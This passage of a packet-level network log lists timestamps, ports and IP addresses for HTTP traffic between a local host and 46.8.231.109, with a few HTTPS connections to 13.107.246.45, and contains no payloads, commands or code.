Oct 7, 2024 19:33:15.647747040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647758007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647784948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.647793055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.647800922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647814035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647825956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647836924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647845984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.647849083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647855043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.647886992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.647954941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647965908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647978067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.647989035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648000956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648003101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648014069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648014069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648042917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648046017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648057938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648066998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648070097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648086071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648088932 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648113966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648127079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648137093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648139000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648152113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648163080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648170948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648176908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.648195028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.648221016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650131941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650158882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650170088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650192976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650202036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650207043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650240898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650244951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650258064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650288105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650295019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650381088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650490999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650506973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650517941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650528908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650537968 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650538921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650553942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650564909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650571108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650578022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650589943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650595903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650602102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650614023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650618076 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650628090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650638103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650639057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650650978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650661945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650665045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650681973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650700092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650845051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650881052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650948048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650965929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650978088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650989056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.650990009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.650998116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651002884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651014090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651016951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651026964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651027918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651041031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651041031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651053905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651070118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651081085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651093960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651106119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651117086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651128054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651140928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651149988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651153088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651165962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651171923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651179075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651181936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651192904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651207924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651225090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651230097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651263952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651276112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651288033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651312113 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651323080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651403904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651415110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651427031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651438951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651449919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651462078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651479959 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651658058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651669025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651679039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651684999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651696920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651706934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651709080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651719093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651724100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651734114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651746035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651751041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651757002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651763916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651784897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651791096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651802063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651812077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651818991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651830912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651838064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651844025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651849031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651854992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651863098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651874065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651875019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651885986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651889086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651897907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651901960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651910067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651921034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651923895 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651927948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651940107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651945114 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651957989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651958942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651971102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651981115 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.651983976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.651997089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.652009010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.652019978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.652019978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.652019978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.652031898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.652044058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.652049065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.652055979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.652084112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.659691095 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.659739971 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.659838915 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.659981966 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.659995079 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.660003901 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.660007954 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.662233114 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.662270069 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.662345886 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.662480116 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.662493944 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.730123043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730149984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730163097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730174065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730182886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730192900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730199099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.730214119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730222940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730232954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730242968 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.730252028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730262041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.730262041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730272055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.730273962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730287075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730298042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.730304003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.730339050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.732774019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732788086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732800007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732822895 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.732839108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732840061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.732851982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732863903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732873917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.732875109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732887030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732908010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.732934952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.732978106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.732990026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733000994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733011961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733023882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733026981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.733035088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733037949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.733047962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733058929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733069897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.733071089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733094931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.733107090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.733125925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733138084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733150959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.733175039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.733196020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.734646082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734746933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734757900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734774113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734783888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734795094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.734796047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734810114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734831095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.734842062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.734872103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.734970093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734982014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.734992981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735003948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735013962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735018969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735032082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735043049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735049009 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735054970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735057116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735066891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735079050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735090017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735095024 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735101938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735110044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735120058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735131979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735131979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735142946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735146999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735146999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735155106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735169888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735179901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735186100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735193014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735203981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735209942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735222101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735223055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735234022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735244989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735250950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735256910 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735263109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735275030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735281944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735286951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735312939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735338926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735342026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735371113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735380888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735380888 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735409021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735430956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735555887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735568047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735578060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735589027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735603094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735631943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735644102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735646009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735661983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735665083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735671997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735672951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735685110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735692978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735699892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735707998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735712051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735724926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735735893 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735750914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735765934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735774994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735779047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735790968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735801935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735805988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735815048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735825062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735829115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.735840082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.735868931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736025095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736139059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736144066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736151934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736166954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736172915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736180067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736187935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736192942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736206055 CEST	80	49718	46.8.231.109	192.168.2.7
